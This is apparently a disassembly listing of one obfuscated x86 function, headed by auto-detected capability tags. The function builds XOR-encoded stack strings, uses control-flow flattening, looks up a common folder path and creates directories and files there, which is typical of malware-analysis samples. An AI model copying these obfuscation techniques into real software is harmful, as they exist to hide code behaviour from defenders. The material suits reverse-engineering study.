Function at 0x1008258e
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Get common file path

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x184
mov ebp, dword [esp + 0x1a4]
mov ecx, dword [esp + 0x1a0]
mov eax, dword [0x100c51b8]
xor eax, esp
mov dword [esp + 0x180], eax
lea esi, [esp + 0x168]
mov dword [esp + 0x20], esi
mov eax, dword [esp + 0x20]
xor edi, edi
mov dword [esi], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp], edi
lea eax, [ecx - 1]
mov dword [esp + 0x24], eax
push dword [esp + 0x24]
push edi
push ecx
push dword [esp + 0x1a8]
call fcn.1009cc67
add esp, 0x10
lea ebx, [esp + 0x63]
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x18]
push 0x105
push edi
mov edi, ebp
push dword [esp + 0x20]
call fcn.1008c000
add esp, 0xc
mov dword [esp + 0x28], ebx
mov eax, dword [esp + 0x28]
sub esp, 0x14
mov dword [esp + 0x10], eax
movaps xmm0, xmmword [0x100b5390]
movups xmmword [esp], xmm0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [esp + 0x30], eax
lea ebp, [esp + 0x3a]
mov ebx, 0x51a34de7
cmp ebx, 0xe62eec5a
jle 0x10082686
cmp ebx, 0x1a08b3a3
jg 0x10082722
cmp ebx, 0xa439343
jle 0x100827b8
cmp ebx, 0xa439344
je 0x100828e3
cmp ebx, 0xdc017cb
je 0x100828f6
cmp ebx, 0x157532ad
je 0x100827a1
jmp 0x10082640
cmp ebx, 0xc9a16b4d
jg 0x10082765
cmp ebx, 0xa54068a2
jle 0x100827fc
cmp ebx, 0xa54068a3
je 0x100827a1
cmp ebx, 0xb2c6e5d9
je 0x10082911
cmp ebx, 0xbcbb8768
jne 0x10082640
mov byte [esp + 0x38], 1
mov byte [esp + 0x39], 0x1b
mov byte [esp + 0x3a], 0x40
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0x77
mov byte [esp + 0x3d], 0x74
mov byte [esp + 0x3e], 0x7d
mov byte [esp + 0x3f], 0x72
lea eax, [esp + 0x42]
mov dword [esp + 0x48], eax
mov ecx, 0x611f78ec
lea eax, [esp + 0x40]
cmp ecx, 0xa800600c
je 0x10082932
cmp ecx, 0x611f78ec
jne 0x100826f7
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x48]
mov ecx, 0x611f78ec
mov edx, 0xa800600c
cmove ecx, edx
jmp 0x100826f7
cmp ebx, 0x314b1d50
jle 0x1008288c
cmp ebx, 0x314b1d51
je 0x100827a1
cmp ebx, 0x363eba9f
je 0x10082a13
cmp ebx, 0x51a34de7
jne 0x10082640
cmp dword [esp + 0x30], 0
mov ebx, 0x1a08b3a4
mov eax, 0x314b1d51
cmovs ebx, eax
jmp 0x10082640
cmp ebx, 0xdc0eda31
jle 0x100828b6
cmp ebx, 0xdc7f36e6
je 0x10082a30
cmp ebx, 0xe418e48e
jne 0x10082e1c
mov dword [edi], 0x50
mov ebx, 0xc9a16b4e
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], eax
jmp 0x10082640
mov dword [edi], 3
mov ebx, 0xc9a16b4e
xor eax, eax
dec eax
mov dword [esp + 0xc], eax
jmp 0x10082640
cmp ebx, 0xe62eec5b
je 0x10082a4e
cmp ebx, 0xf2e06f1b
jne 0x10082640
mov ecx, esi
call fcn.10007bca
push dword [esp + 0x24]
push eax
push dword [esp + 0x1a8]
push dword [esp + 0x1a8]
call fcn.1009ef88
add esp, 0x10
mov ebx, 0xdc0eda32
jmp 0x10082640
cmp ebx, 0x92b72c4a
je 0x10082a8b
cmp ebx, 0x9bd1a3a7
jne 0x10082640
mov byte [esp + 0x38], 1
mov byte [esp + 0x39], 0x1b
mov byte [esp + 0x3a], 0x4c
mov byte [esp + 0x3b], 0x41
mov byte [esp + 0x3c], 0x73
mov byte [esp + 0x3d], 0x7b
mov byte [esp + 0x3e], 0x59
mov byte [esp + 0x3f], 0x70
mov byte [esp + 0x40], 0x64
mov byte [esp + 0x41], 0x37
mov byte [esp + 0x42], 0x7c
mov byte [esp + 0x43], 0x79
lea eax, [esp + 0x46]
mov dword [esp + 0x48], eax
mov ecx, 0xecce9a25
lea eax, [esp + 0x44]
cmp ecx, 0x513115d2
je 0x10082aa3
cmp ecx, 0xecce9a25
jne 0x10082861
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x48]
mov ecx, 0xecce9a25
mov edx, 0x513115d2
cmove ecx, edx
jmp 0x10082861
cmp ebx, 0x1a08b3a4
je 0x10082b84
cmp ebx, 0x2b8fa6ae
jne 0x10082640
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov ebx, 0xdc017cb
jmp 0x10082904
cmp ebx, 0xc9a16b4e
je 0x10082c08
cmp ebx, 0xcd8551f5
jne 0x10082640
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
mov ebx, 0xdc7f36e6
mov eax, 0xe62eec5b
jmp 0x10082922
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
mov ebx, 0x157532ad
jmp 0x10082a23
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
mov ebx, 0xa54068a3
mov eax, 0xbcbb8768
cmove ebx, eax
jmp 0x10082640
mov eax, dword [esp + 0x10]
cmp eax, 0xffffffff
mov ebx, 0xdc7f36e6
mov eax, 0xcd8551f5
cmove ebx, eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], eax
jmp 0x10082640
lea eax, [esp + 0x38]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov al, byte [eax]
mov byte [esp + 3], al
mov eax, 0x3fbedbc0
cmp eax, 0x3fbedbbf
jg 0x10082981
cmp eax, 0x8b37b7f6
je 0x100829ae
cmp eax, 0xf22281c1
je 0x100829dc
cmp eax, 0x2561ba77
jne 0x10082949
mov eax, dword [esp + 0x48]
mov byte [esp + 0x40], 0
mov byte [esp + 0x41], 0
mov eax, dword [esp + 4]
mov byte [eax], 0
mov eax, 0x5d9144c8
jmp 0x10082949
cmp eax, 0x5d9144c8
je 0x10082c29
cmp eax, 0x58d226bb
je 0x100829fa
cmp eax, 0x3fbedbc0
jne 0x10082949
test byte [esp + 3], 1
mov eax, 0xf22281c1
mov ecx, 0x5d9144c8
cmove eax, ecx
jmp 0x10082949
mov eax, dword [esp + 0x34]
mov cl, byte [esp + eax + 0x3a]
mov eax, dword [esp + 0x34]
mov dl, byte [esp + 0x39]
inc al
xor al, dl
xor al, cl
xor al, 6
mov ecx, dword [esp + 0x34]
mov byte [esp + ecx + 0x3a], al
inc dword [esp + 0x34]
mov eax, 0x58d226bb
jmp 0x10082949
lea eax, [esp + 0x34]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x34], 0
mov eax, 0x58d226bb
jmp 0x10082949
mov eax, dword [esp + 0x34]
cmp eax, 6
mov eax, 0x2561ba77
mov ecx, 0x8b37b7f6
cmovb eax, ecx
jmp 0x10082949
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov ebx, 0xa439344
mov eax, 0x9bd1a3a7
cmove ebx, eax
jmp 0x10082640
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov ebx, 0xc9a16b4e
mov eax, 0x92b72c4a
cmove ebx, eax
jmp 0x10082a96
mov ecx, esi
call fcn.10007bca
sub esp, 0x1c
movaps xmm0, xmmword [0x100b5880]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
mov ebx, 0xdc7f36e6
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x14], eax
jmp 0x10082640
mov dword [edi], 0x65f
mov ebx, 0xc9a16b4e
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xc], eax
jmp 0x10082640
lea eax, [esp + 0x38]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov al, byte [eax]
mov byte [esp + 3], al
mov eax, 0xabacf049
cmp eax, 0xfce92d9c
jg 0x10082b01
cmp eax, 0xabacf049
je 0x10082b36
cmp eax, 0xbbc70bf8
je 0x10082b4d
cmp eax, 0xf6fd1d08
jne 0x10082aba
mov eax, dword [esp + 0x34]
mov cl, byte [esp + eax + 0x3a]
mov eax, dword [esp + 0x34]
mov dl, byte [esp + 0x39]
inc al
xor al, dl
xor al, cl
xor al, 0xa
mov ecx, dword [esp + 0x34]
mov byte [esp + ecx + 0x3a], al
inc dword [esp + 0x34]
mov eax, 0xbbc70bf8
jmp 0x10082aba
cmp eax, 0xfce92d9d
je 0x10082c6b
cmp eax, 0xcccb5dd
je 0x10082b66
cmp eax, 0x3dbc2065
jne 0x10082aba
mov eax, dword [esp + 0x48]
mov byte [esp + 0x44], 0
mov byte [esp + 0x45], 0
mov eax, dword [esp + 4]
mov byte [eax], 0
mov eax, 0xfce92d9d
jmp 0x10082aba
test byte [esp + 3], 1
mov eax, 0xcccb5dd
mov ecx, 0xfce92d9d
cmove eax, ecx
jmp 0x10082aba
mov eax, dword [esp + 0x34]
cmp eax, 0xa
mov eax, 0x3dbc2065
mov ecx, 0xf6fd1d08
cmovb eax, ecx
jmp 0x10082aba
lea eax, [esp + 0x34]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x34], 0
mov eax, 0xbbc70bf8
jmp 0x10082aba
mov ebx, dword [esp + 0x28]
push ebx
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push ebx
call fcn.10007b00
mov byte [esp + 0x38], 1
mov byte [esp + 0x39], 0x1b
mov byte [esp + 0x3a], 0x4e
mov byte [esp + 0x3b], 0x45
mov al, 0x75
mov byte [esp + 0x3c], al
mov byte [esp + 0x3d], 0x79
mov byte [esp + 0x3e], al
mov byte [esp + 0x3f], 0x70
mov byte [esp + 0x40], 0x7a
mov byte [esp + 0x41], 0x6f
lea eax, [esp + 0x44]
mov dword [esp + 0x48], eax
mov ecx, 0x638580c3
lea eax, [esp + 0x42]
cmp ecx, 0xe419706d
je 0x10082cd5
cmp ecx, 0x638580c3
jne 0x10082bdd
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x48]
mov ecx, 0x638580c3
mov edx, 0xe419706d
cmove ecx, edx
jmp 0x10082bdd
mov eax, dword [esp + 0xc]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
cmp eax, 0xffffffff
mov ebx, 0xf2e06f1b
mov eax, 0xdc0eda32
cmove ebx, eax
jmp 0x10082640
push ebp
push esi
lea ebx, [esp + 0x50]
push ebx
call fcn.1006215e
add esp, 0xc
mov ecx, esi
push ebx
call fcn.1000105c
mov ecx, ebx
call fcn.100087f0
mov ecx, esi
call fcn.10007bca
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
mov ebx, 0x9bd1a3a7
mov eax, 0x363eba9f
cmove ebx, eax
jmp 0x10082640
push ebp
push esi
lea ebx, [esp + 0x50]
push ebx
call fcn.1006215e
add esp, 0xc
mov ecx, esi
push ebx
call fcn.1000105c
mov ecx, ebx
call fcn.100087f0
mov ecx, esi
call fcn.10007bca
sub esp, 0x1c
movaps xmm0, xmmword [0x100b5520]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
cmp eax, 0xffffffff
mov ebx, 0xe418e48e
mov eax, 0xb2c6e5d9
cmove ebx, eax
jmp 0x10082640
lea eax, [esp + 0x38]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov al, byte [eax]
mov byte [esp + 3], al
mov eax, 0xfae0ca2f
cmp eax, 0x1607a5c
jg 0x10082d20
cmp eax, 0xa6f2e720
je 0x10082dda
cmp eax, 0xe4e7ff6a
je 0x10082d4f
cmp eax, 0xfae0ca2f
jne 0x10082cec
test byte [esp + 3], 1
mov eax, 0xe4e7ff6a
mov ecx, 0xa6f2e720
cmove eax, ecx
jmp 0x10082cec
cmp eax, 0x1607a5d
je 0x10082d6a
cmp eax, 0x39eea50
je 0x10082dbb
cmp eax, 0x66118df9
jne 0x10082cec
mov eax, dword [esp + 0x34]
cmp eax, 8
mov eax, 0x39eea50
mov ecx, 0x1607a5d
cmovb eax, ecx
jmp 0x10082cec
lea eax, [esp + 0x34]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x34], 0
mov eax, 0x66118df9
jmp 0x10082cec
mov eax, dword [esp + 0x34]
mov al, byte [esp + eax + 0x3a]
mov byte [esp + 0xb], al
mov edx, dword [esp + 0x34]
mov al, byte [esp + 0x39]
movzx ebx, al
mov ecx, ebp
mov ebp, esi
mov esi, edi
lea edi, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, ebx
not ebx
and ebx, edi
mov edi, esi
mov esi, ebp
mov ebp, ecx
or eax, ebx
xor al, byte [esp + 0xb]
xor al, 8
mov ecx, dword [esp + 0x34]
mov byte [esp + ecx + 0x3a], al
inc dword [esp + 0x34]
mov eax, 0x66118df9
jmp 0x10082cec
mov eax, dword [esp + 0x48]
mov byte [esp + 0x42], 0
mov byte [esp + 0x43], 0
mov eax, dword [esp + 4]
mov byte [eax], 0
mov eax, 0xa6f2e720
jmp 0x10082cec
push ebp
push esi
lea ebx, [esp + 0x50]
push ebx
call fcn.1006215e
add esp, 0xc
mov ecx, esi
push ebx
call fcn.1000105c
mov ecx, ebx
call fcn.100087f0
mov ecx, esi
call fcn.10007bca
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
mov ebx, 0xbcbb8768
mov eax, 0x2b8fa6ae
cmove ebx, eax
jmp 0x10082640
cmp ebx, 0xdc0eda32
jne 0x10082640
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x168]
call fcn.100087f0
mov eax, dword [esp + 0x20]
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x180]
xor ecx, esp
call fcn.100879aa
mov eax, esi
add esp, 0x184
pop esi
pop edi
pop ebx
pop ebp
ret 0x10